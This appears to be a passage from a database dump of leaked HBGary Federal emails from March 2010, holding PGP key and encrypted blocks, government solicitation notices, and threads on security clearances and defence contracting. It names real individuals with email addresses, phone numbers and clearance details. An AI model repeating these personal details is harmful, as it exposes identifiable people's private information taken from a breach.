MESSAGE-----\r\nHash: SHA1\r\n\r\n- -----BEGIN PGP PUBLIC KEY BLOCK-----\r\nVersion: GnuPG v1.4.9 (Darwin)\r\n\r\nmQGiBEtD8NsRBADhrW/I8VYQ/vkoGUtrYd6VubZw/obuBBeXlEWhQoXipzesNZ8E\r\n8y0roVMEFkUOJ1xGLw7Vn5T2SGJ5OfrC+vzdMcKqPoDge1wLz0tG8PXN8ihM83Ow\r\n7QqE5/JlGStx4Y+WjZySAzt7zHAiQCWQjwO/vJbBVykeNE0M7gmjgdAVFwCgzBLT\r\nlX1Z7cN2XcqrjK9MGROfGaMD+wSu3p+U1DL7yk1uoTalTZCwJ7eH7jWsL18PQBYT\r\nCQcVtg+3hErsRjpCenQOMjdnNOj8kJ7h8We2YhLiUVBNxbwR77xYMl0EToPeUf7p\r\nEQnsaVDcz5+1X55FrS3d9heTlZi9ofIbnjISPA/XueSEivptxuGLGGH2qLNwPJ/1\r\nKK9rBADRTPUXhYBu4InYHse3QvVYtDS/4/ARoAuLrKtTXS+UbOGQnanf/kaopqwW\r\np5l5q2XYjrR6gzSg90vORNAquI2FxRRrAx8YGI1IqU3hnDAQRYS5tDSao+4ss+dR\r\ndg9gNnLxFeV1AAKciYWqPfUMyTTQ9Plpz+1x4WUa6bj48idKDLQdQWFyb24gQmFy\r\nciA8YWFyb25AaGJnYXJ5LmNvbT6IYAQTEQIAIAUCS0Pw2wIbIwYLCQgHAwIEFQII\r\nAwQWAgMBAh4BAheAAAoJEHIKxsJh8j3/KwoAnjBMYZOzg0B0u9FE0ONCqP36+zlR\r\nAKC8OfDlN0d8gNBKQxM6C0wVREQtVbkCDQRLQ/DbEAgA0azdtRwUt7l+8z/Toc+w\r\ndVGZPsSKnLtACw65Y7XzR03ZMFVxC7S5lE0GZGZP9an7/ssnDlcBG2eHnvenjxtD\r\ned5yBRLChH5o6KPEpkf82IjXsQB27o8twyU/eo1aevlnWgHHY7PryCVHjxNmuVc9\r\nBuEEINTQLPdtmu1IP+rBCaBKVxrHD2rZB+8FrH0EiXkkFMq5TKWnpg8Z64GdZ1Td\r\njVPrfCOpJuifnsbjmRYs+fzb/wBuExufFHHibL+Y4xR8srwpDhrFVVje85Rjy9u3\r\nhoQcA2jJdB8uPP/J7XQY+ItCkphOxklJZHfWF9aPurtQ719G0gGcqIaml+MXuRAD\r\n5wADBQgAwYQ4vIY2tjv/Nw0KLlqQh1azt/1OPCRQf19f6szs/FnUzgMLzjs/cylx\r\nKs5RcH3Qbh8hSimFjlWZ4+7DUM9iK8encgbuUoeRVyH2E8EZaXO6rkAVLqaXoZsA\r\nAxPbUsv+jfnuZFVgCFClYdsC0GGBFXE/nXZZVDnIyrUG3G96JyDu39dMLhKNcJCH\r\ngEFKKnSrJYOSw4+WZ78W3jnSNq+kwtLPqZlVSGf5SmWgW3P/1g7mFrLE1PhGfZoR\r\nl2NzbHi7pcNR7jjBk5nMv8ljKde743rgjdII72QC8EfKULDh+/Zu6/R8o0EVFM6w\r\nJTBI80ZdCRTX2z/r8Xu9zvy12jrNA4hJBBgRAgAJBQJLQ/DbAhsMAAoJEHIKxsJh\r\n8j3/IngAn0GixPylzJmGF3xiJoywSg6uAOHRAJ49ia9L0v1YKqo285Nf0U/qq4P+\r\nAQ==\r\n=SYPH\r\n- -----END PGP PUBLIC KEY BLOCK-----\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (Darwin)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkuZsyMACgkQcgrGwmHyPf9l1gCgwGc/0jqug9GddRhlrivlACZ6\r\nRQIAoJcBkNVngjO49vnx9E7mUxhRJwMl\r\n=o90x\r\n-----END PGP SIGNATURE-----\r\n\r\n',543,'aaron_hbgary_com/543.html'),(3949,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002070.M177182P3547Q3949.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Phil Porras\" <porras@csl.sri.com>,vinod@csl.sri.com,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Irby Thompson\" <irby@pikewerks.com>','TA3 Updates','All,\r\n\r\nTomorrow we will be sending you an official RFP (better late than never), new cost template, and updated schedule.\r\n\r\nOn the technical side I was not able to update the Technical approach yesterday with the information we discussed but am working on it tonight.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14464,'aaron_hbgary_com/14464.html'),(3950,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002070.M857460P3547Q3950.eml','\"Ted Vera\" <ted@hbgary.com>','key','\r\n',6648,'aaron_hbgary_com/6648.html'),(3951,'2010-03-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002071.M202181P3547Q3951.eml','\"Aaron Barr\" <aaron@hbgary.com>','test','-----BEGIN PGP MESSAGE-----\r\nCharset: ISO-8859-1\r\nVersion: GnuPG/MacGPG2 v2.0.14 (Darwin)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\nhQIOA/53J6kaxJ3mEAgAlQFkHJ8tULBC10whCZjXtV0WE8dRbH2It4BQ/66Vd10Z\r\nL71hkO68UqIoZ1wiAj/E7tgnrIqToxkYpfAweuawwf1XH9CDKaXe3THU0zNbEjxV\r\nHwatP4Plwhmn0/sKUPisdGftNWtcNuSfi1OT8tyMABuwqVt7nS76L7TLJer+KJWB\r\nTtvC0fv2gv7VNjFZb3LIg903S3PTTSB1sAuWr8jjY8e/H/oO5rZghRGZG9NWTDeK\r\nmp1b7fyRQrzQEuUj6Mz6moDLfByxMsq9cbqYvprMTBx02XbM3Ebi/p9I7F/hnUt6\r\n9UPH6VhT+xQJt7CrXIFRgEIjFJ/jhzJjnOAaTKU7BQf/SZl8oWyj/iP/jvaT73Nl\r\nvvvWS2l+0vH0sRmVTDW0cCRvaCjMUNjXKkRbuDPtbn++GBYhwIlwPUP+0ZPzq7hN\r\nNpI8r7wurLn/P3aLJPW8SQA4TMv9+swIiFLQA3lzl+mk+stYYvhn8YiI1ACrbfSs\r\nJCHUu+AjkJfIBDz+LfE2hezWIXdhgJ8GnJlG6bcl7mzsMP9STKRrzUqqM5KmFjir\r\n+SzyBiU9cfHQ18pszG+h2fPo16au1Op7UjJBNIpHH3cjU7nLJbbLNtxMfqxv3+I3\r\n3QHt9SqB6GI1F/8ne4Jh3zJF4l7ljcajnopmJ1m7S6UPO7m2TGiXUaanYtmFOHrf\r\nhoUBDAMTpS+d2cNCrgEH/321QEYLFtTLoP5SPR2nwahH360CmI9Zkmp3b9EjaH55\r\nHKECUUMTQqo7INftMPFAyHTv/nh/y7DlS2/TKenesd357EQqvbJGljVqvYmFmJp2\r\n0eGZY0TtqaKkFHejH5o2dbMvaFbRMqAxmNkWAO6LY4/3lrCn4EiGdmkl3DVXeVxD\r\nZ5XFxMpR4yYly2huAc/tKSpqnVEI6HxYBA74/6InOK5W/Ol1wC0dE2wiPHOTP+qL\r\nXRiuCxwD+fKZN74e9BuUwe1hV4iw75sh0H8gF6n/E05aDxl1vUFHLpQEFXyXTTvt\r\nhPDcFbsnSOc0DadQh0Cgkf2R4qXSwk8vX2jS1tezYyLSYwFQW+2su3LCysgXInkG\r\nLaDimlIDDKW/z8uZAJCDAkAf05aOap3htmQ6Ppb6yJJro8hlM9LE6LORU8tUWTVO\r\njNA/IeynyJYhZEvaxEFaCewU4ADs9UaQ06OlGum0/svJu230iQ==\r\n=EdVM\r\n-----END PGP MESSAGE-----\r\n',7800,'aaron_hbgary_com/7800.html'),(3952,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002071.M491471P3547Q3952.eml','\"Ted Vera\" <ted@hbgary.com>','Message','-----BEGIN PGP MESSAGE-----\r\nCharset: ISO-8859-1\r\nVersion: GnuPG v1.4.9 (Darwin)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\nhQEMAxOlL53Zw0KuAQf+OaNFpdL8VrQZunr8R4uBhOuTH+cRPuMQs7QysSXdxsm1\r\nUIzTeo6toLfbttcIYudCjq8+W9SYYsztIPZNDyZHbCEZufGCVy0VfeBrX29X11OC\r\ndZfY1F/3xDFuQ3QRlUkdUu823MwAla3tuIGXlRL9ptrjC38d7RDR9hL7yc+ufMFb\r\n7iFb+m2mWsKUcigyENBv4q+XUYS4+ujCpvYvpYlGz692T6w9Ua2tzIaP+I7B+S1t\r\nLoRR/RUkUoGic8Wb4vxg2vJ7VLr8YfDuLeGsLkX3U8DN9qryn9v6tSBD1lMT/aHU\r\nH64MAfH3CSMOblDoymMNgN/XhHTE4dGolF5Zc6Zp/YUCDgP+dyepGsSd5hAH/j2m\r\nBDYqbLPjSiYbUjW3HsoXzMus0md1orNtuCGq5AIZI0H/PmMlZMQkxrpQLaJ4mPpR\r\nqqmFTeYlXy0M3ICsGZKu6EhiD7GHo1S+ArdqiDIcAXwbVzAtgFeJGX0g3+kRslx2\r\nzQiUnkhWWH76c99vtI/zDlLFAiKcrPDhfbKDyxpf1QE4IZ/L+yOZ4HpHIRHzK41K\r\njHp4v5/hDc0b29WCEkTq5stcIyEuIaOt3GBbMaeRC8HLh+OaqH5MW/UGHh8yOtDz\r\nernq+GINYqU+Rd16idEPI5j0JJqtoh/LGyvudhF1cf2KaOeEU8HIKXVFHC7RLKyY\r\nhKZUQ9E9dZE1ZEgLaWsIAMgDJFUL/kLhziss0ldlDd+EXe8c/5NtatluByvooEHG\r\nr+DkeJvf+6MqMtgLHo5a8IRB4hYRSOkVEEWPB2b2wZPAHYJmNziogXvZ8EWSusjw\r\n1nJUb7VCWa133tkSEutc6btdQ33ISf0VdnZ06Y5X1AjKCONzcVVhIhCYzR+KIFXN\r\nKQHb3Wws08CNOZlHfq+2CnRZxzKD4bG2CaELqIbWP2I9hdcGI1S/fl+McWoEcuRj\r\n2qd5deeoYA5uHnqoQ3h0+EYLUNB1mJHt8ZDKvFJnUkUdwWubxy79tlxx8BiJ2FlX\r\nfcLvI2MeYzvIu2i39VbUDgsgsDhCDdIvIxMbPKc+NWDStwEl+zLW9bMZl30rl/82\r\n+QEiNXYAzsGrTIgdehz8vtlKixjrHSIIwdLrie2C6TyxRrzhaLlUjQt5lG5UCBIW\r\nB3sgUX97xBZmlXFEgbOUpoVG0/U1OwteY/L91rhcJS4IFAGAwQvXkl8kZ/3g4cmL\r\nAitM4riml4rNyHnEmmYcpfdN4huCl+xxA+ILBVyqYYKy4k2mdHqg4tzDPTiAWq5P\r\nGxvchNYGIPTwlK6rK40kJ1fcO3TqRac6mw==\r\n=tyJe\r\n-----END PGP MESSAGE-----\r\n\r\n\r\n',556,'aaron_hbgary_com/556.html'),(3953,'2010-03-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002087.M200575P3547Q3953.eml','\"Aaron Barr\" <aaron@hbgary.com>','Feasibility Study','-----BEGIN PGP MESSAGE-----\r\nCharset: ISO-8859-1\r\nVersion: GnuPG/MacGPG2 v2.0.14 (Darwin)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\nhQIOA/53J6kaxJ3mEAgAgiNtj/JMcEnwn/BL1HD508tK3DkZOGa1Mr65eV2cxqwm\r\nFZM3lOzP9iK6bbJYHQE0vvyRAEpe9rjdNyKzotTTSvfJetCsKNtDT00lXD7p1nCV\r\nXlZJ2dDvkKcyCXw/bzYYQubmQxcHkNl3nLfySo3FGZF8PprUE73P4xablI0QNmX3\r\nomU+woB7Jw30yMKDkMlSgXzTtsvuABcl0hbYVnqqhM1Tb01rlo3dGq+HTKppgdI7\r\nXECfgBBFQsqi+JvNhb2zK8citKpDSlw7qip/6aXrqaTGUU8ZPJWamGINMrEuCV+Z\r\nCvn7yyrmcZyQl8o2YSiAW4AXSZjZBqGiE7LQsp2wqAgAnomHdJyUhbgyP8lsHDtI\r\n/rcIguJTAc+eE0g1DvENdo7tKQdgj7k20/j8U6Oy/YRVbqC7aci/rA7k8nhWVO4u\r\nUFTg7Ch4ebq14WWDIQ20mGbDfeGqBvv2JWd2JXyVs3gd8pFTKpKzcAv0VBNy/JFn\r\naCk5Z/yl4SuGFWcwN6alA8mKLQpwYONOiOg/9Fojeod18riy0Y0l/Vae7VJLjqOj\r\n95LVWH9aL1gVWLPkc4BKf0l8M4M/Sqr1voXAqE7Q009+Ynz3IadxB+FzFKG12aCh\r\nER163fyZrGcaHdI1qDTNMEMeDA7s8rjNF6I2/Xr9XWT24O2AAMLDy1F/a54vEMtj\r\nhYUBDAMTpS+d2cNCrgEIAIP9cjNXPQEiDGXiBh+7G2YXv5cGfFCUW/ZTnvpqXJ9u\r\nA46gqLptgXAUypzZOkiuegWIhYIyCKcLzACvgyh0FfZVQcgTHNVw/2DZHZ1xjF20\r\neItKOB7bztsAovC28Zhuz+HS6H10+HCBF6doSQa/0Bab38EXEH9B/N9aqmthnjhH\r\nZS2QvXvdK5mdMsXvMo22fAhdJCE902lAW7CTJScWw2OnsNR44znyd7l5HUTiI4Bv\r\nE9kWbWVIJ3pwZIaxi27R0u0AEv1K2ssLyNIoPq7PN83ttAkKzTPgWu+5nDD9WmSw\r\nI1qLA/DfAwpDsD/gFYQjqBmnD78n+sQDqdiBA8hiQqDSRgFcaKt2QiZmn7s+FDx3\r\n0X8vAK87U/NeTlAHbNoAQXalyJEbC+MdN/PpciREHNSXDaha7zGtKmUMySTODVtB\r\nrgXbVMtFZp0=\r\n=gARa\r\n-----END PGP MESSAGE-----\r\n',3464,'aaron_hbgary_com/3464.html'),(3954,'2010-03-12','noreply@fbo.gov','/aaron@hbgary.com/new/1297002087.M760055P3547Q3954.eml','aaron@hbgary.com','FBO Watch List Notifications','Friday, March 12, 2010, 03:00 am\r\n\r\nDear Aaron Barr:\r\n\r\nThis message has been sent to inform you of update(s) to solicitation(s) where you have either expressed vendor interest in the opportunity, or placed the notice on your watchlist.  Please see the details below.\r\n\r\nDetails\r\n------------------\r\n\r\n	Top Level Agency: Department of the Navy\r\n	Office: Office of Naval Research\r\n	Location: ONR\r\n\r\n		Solicitation #: 10-004\r\n		Title: Computer Network Defense\r\n		Link: https://www.fbo.gov/spg/DON/ONR/ONR/10-004/listing.html\r\n\r\n		  A change has been posted: Mar 11, 2010 8:45 am\r\n		  Attachments:\r\n		   Proposal Checklist\r\n\r\n\r\n',15979,'aaron_hbgary_com/15979.html'),(3955,'2010-03-12','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297002087.M942084P3547Q3955.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Ted Vera','\r\n\r\n\r\n\r\n\r\nRE: Ted Vera\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nWhat time are you being briefed?&nbsp; Maybe we can grab a cup of coffee after that.&nbsp; We\'ll discuss next steps then but I do not believe you need go to the customer site.&nbsp; All I need is notification that your clearance crossedover.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 3/11/2010 9:51 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\nAgreed.&nbsp; Well I believe I am supposed to get briefed on Tuesday at your facility.&nbsp; So anytime after that.&nbsp; Or do I need to go out to the customer facility for any briefings/badging? or does the Tuesday briefing suffice?\r\n\r\nAaron\r\n\r\nOn Mar 11, 2010, at 9:45 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; Good point, I\'ll check with our security to make sure he was submitted for ISA.&nbsp; I\'ll get back to you ASAP.&nbsp; I\'d love to start talking about the COIN work.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thu 3/11/2010 9:30 PM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Subject: Re: Ted Vera\r\n&gt;\r\n&gt; Wow I don\'t understand?&nbsp; He was fully cleared ISA prior to leaving Northrop and had an SCI in JPAS I am pretty sure so it really catches me by surprise that he would need to start from scratch.&nbsp; Do you have any insight from past experience as to why this would be?&nbsp; Is it possible he was submitted for an ISSA like me by accident?\r\n&gt;\r\n&gt; I know that customers security is pretty cagey with answers.\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Mar 11, 2010, at 9:26 PM, Clair, Chris (TASC) wrote:\r\n&gt;\r\n&gt; &gt; I believe he only had a ISA.\r\n&gt; &gt;\r\n&gt; &gt; Chris\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; -----Original Message-----\r\n&gt; &gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; &gt; Sent: Thu 3/11/2010 5:02 PM\r\n&gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; Subject: Re: Ted Vera\r\n&gt; &gt;\r\n&gt; &gt; Is this for an ISA or ISSA?\r\n&gt; &gt;\r\n&gt; &gt; Aaron\r\n&gt; &gt;\r\n&gt; &gt; On Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:\r\n&gt; &gt;\r\n&gt; &gt; &gt; Hi Aaron,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I got this bit of news in the mail.&nbsp; Were you aware of this?&nbsp; We are looking at 16 months to clear him for an initial.&nbsp; How do you want to proceed?\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Let me know,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; _____________________________________________\r\n&gt; &gt; &gt; From: Willson, Jonathan G (TASC)\r\n&gt; &gt; &gt; Sent: Thursday, March 11, 2010 3:19 PM\r\n&gt; &gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; &gt; Cc: Choate, William R (TASC)\r\n&gt; &gt; &gt; Subject: Ted Vera\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I received a notification from the customer today that they will not be able to crossover Ted Vera\'s clearance. They said he must be submitted as an initial case. Please let me know how you would like to proceed.\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Thanks,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Jonathan Willson\r\n&gt; &gt; &gt; Personnel Security\r\n&gt; &gt; &gt; Northrop Grumman TASC\r\n&gt; &gt; &gt; 4801 Stonecroft Blvd.\r\n&gt; &gt; &gt; Chantilly, VA 20151\r\n&gt; &gt; &gt; 703.653.5779 (phone)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; 703.633.8460 (fax)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; Aaron Barr\r\n&gt; &gt; CEO\r\n&gt; &gt; HBGary Federal Inc.\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2459,'aaron_hbgary_com/2459.html'),(3956,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002088.M114850P3547Q3956.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Ted Vera','Ok.  Briefing starts at 830.AaronFrom my iPhoneOn Mar 12, 2010, at 7:06 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nWhat time are you being briefed?  Maybe we can grab a cup of coffee after that.  We&#39;ll discuss next steps then but I do not believe you need go to the customer site.  All I need is notification that your clearance crossedover.\r\n\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 3/11/2010 9:51 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\nAgreed.  Well I believe I am supposed to get briefed on Tuesday at your facility.  So anytime after that.  Or do I need to go out to the customer facility for any briefings/badging? or does the Tuesday briefing suffice?\r\n\r\n\r\nAaron\r\n\r\nOn Mar 11, 2010, at 9:45 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; Good point, I&#39;ll check with our security to make sure he was submitted for ISA.  I&#39;ll get back to you ASAP.  I&#39;d love to start talking about the COIN work.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thu 3/11/2010 9:30 PM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Subject: Re: Ted Vera\r\n&gt;\r\n&gt; Wow I don&#39;t understand?  He was fully cleared ISA prior to leaving Northrop and had an SCI in JPAS I am pretty sure so it really catches me by surprise that he would need to start from scratch.  Do you have any insight from past experience as to why this would be?  Is it possible he was submitted for an ISSA like me by accident?\r\n\r\n&gt;\r\n&gt; I know that customers security is pretty cagey with answers.\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Mar 11, 2010, at 9:26 PM, Clair, Chris (TASC) wrote:\r\n&gt;\r\n&gt; &gt; I believe he only had a ISA.\r\n&gt; &gt;\r\n&gt; &gt; Chris\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; -----Original Message-----\r\n&gt; &gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; &gt; Sent: Thu 3/11/2010 5:02 PM\r\n&gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; Subject: Re: Ted Vera\r\n&gt; &gt;\r\n&gt; &gt; Is this for an ISA or ISSA?\r\n&gt; &gt;\r\n&gt; &gt; Aaron\r\n&gt; &gt;\r\n&gt; &gt; On Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:\r\n&gt; &gt;\r\n&gt; &gt; &gt; Hi Aaron,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I got this bit of news in the mail.  Were you aware of this?  We are looking at 16 months to clear him for an initial.  How do you want to proceed?\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Let me know,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; _____________________________________________\r\n&gt; &gt; &gt; From: Willson, Jonathan G (TASC)\r\n&gt; &gt; &gt; Sent: Thursday, March 11, 2010 3:19 PM\r\n&gt; &gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; &gt; Cc: Choate, William R (TASC)\r\n&gt; &gt; &gt; Subject: Ted Vera\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I received a notification from the customer today that they will not be able to crossover Ted Vera&#39;s clearance. They said he must be submitted as an initial case. Please let me know how you would like to proceed.\r\n\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Thanks,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Jonathan Willson\r\n&gt; &gt; &gt; Personnel Security\r\n&gt; &gt; &gt; Northrop Grumman TASC\r\n&gt; &gt; &gt; 4801 Stonecroft Blvd.\r\n&gt; &gt; &gt; Chantilly, VA 20151\r\n&gt; &gt; &gt; 703.653.5779 (phone)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; 703.633.8460 (fax)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; Aaron Barr\r\n&gt; &gt; CEO\r\n&gt; &gt; HBGary Federal Inc.\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',794,'aaron_hbgary_com/794.html'),(3957,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002088.M284300P3547Q3957.eml','al.pisani@ngc.com','VISE','Al,\r\n\r\nA few companies have talked to me about helping out on a recompete for\r\nthis contract.  Their take is the government isn\'t happy with Booz.\r\nYou have slots on that contract if I remember right.  Are you staying\r\nwith the existing team or looking around?\r\n\r\nBTW, my clearance came in so we can get started on COIN next week.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',1554,'aaron_hbgary_com/1554.html'),(3958,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002088.M469275P3547Q3958.eml','\"Ted Vera\" <ted@hbgary.com>','ONR CND BAA','ok we have a few months to get this done.\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=0eb9039ea0d8209b3746cffc6fcb45a6&tab=core&_cview=1\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8884,'aaron_hbgary_com/8884.html'),(3959,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002088.M728302P3547Q3959.eml','al.pisani@TASC.com','VISE','Al,\r\n\r\nA few companies have talked to me about helping out on a recompete for\r\nthis contract.  Their take is the government isn\'t happy with Booz.\r\nYou have slots on that contract if I remember right.  Are you staying\r\nwith the existing team or looking around?\r\n\r\nBTW, my clearance came in so we can get started on COIN next week.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15669,'aaron_hbgary_com/15669.html'),(3960,'2010-03-12','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1297002088.M923645P3547Q3960.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','Delivery to the following recipient failed permanently:\r\n\r\n     al.pisani@tasc.com\r\n\r\nTechnical details of permanent failure: \r\nGoogle tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 550 550 Mailbox unavailable or access denied -  (state 14).\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.101.131.15 with SMTP id i15mr959843ann.13.1268404036452;\r\n        Fri, 12 Mar 2010 06:27:16 -0800 (PST)\r\nReturn-Path: \r\nReceived: from [192.168.1.5] (ip98-169-51-38.dc.dc.cox.net [98.169.51.38])\r\n        by mx.google.com with ESMTPS id 7sm433793ywf.55.2010.03.12.06.27.15\r\n        (version=TLSv1/SSLv3 cipher=RC4-MD5);\r\n        Fri, 12 Mar 2010 06:27:16 -0800 (PST)\r\nFrom: Aaron Barr \r\nContent-Type: text/plain; charset=us-ascii\r\nContent-Transfer-Encoding: 7bit\r\nSubject: VISE\r\nDate: Fri, 12 Mar 2010 09:27:16 -0500\r\nMessage-Id: \r\nTo: al.pisani@TASC.com\r\nMime-Version: 1.0 (Apple Message framework v1077)\r\nX-Mailer: Apple Mail (2.1077)\r\n\r\nAl,\r\n\r\nA few companies have talked to me about helping out on a recompete for\r\nthis contract.  Their take is the government isn\'t happy with Booz.\r\nYou have slots on that contract if I remember right.  Are you staying\r\nwith the existing team or looking around?\r\n\r\nBTW, my clearance came in so we can get started on COIN next week.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2110,'aaron_hbgary_com/2110.html'),(3961,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002089.M303865P3547Q3962.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: Place of Performance','Morning Chris,Can we have multiple places of performance or just 1?AaronOn Mar 11, 2010, at 5:36 PM, Starr, Christopher H. wrote:Aaron,&nbsp;I presume the primary&nbsp;Place of Performance&nbsp;for your work be in Sacramento.&nbsp; Is this correct and is address the same as the contract address for HBGary Federal?&nbsp;Chris\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6588,'aaron_hbgary_com/6588.html'),(3962,'2010-03-12','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002089.M515336P3547Q3963.eml','aaron@hbgary.com','Re: Place of Performance','\r\nAaron, that is no problem.  We just need to list a primary place of work.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Starr, Christopher H.Sent: Fri Mar 12 10:07:13 2010Subject: Re: Place of Performance\r\nMorning Chris,Can we have multiple places of performance or just 1?AaronOn Mar 11, 2010, at 5:36 PM, Starr, Christopher H. wrote:Aaron,&nbsp;I presume the primary&nbsp;Place of Performance&nbsp;for your 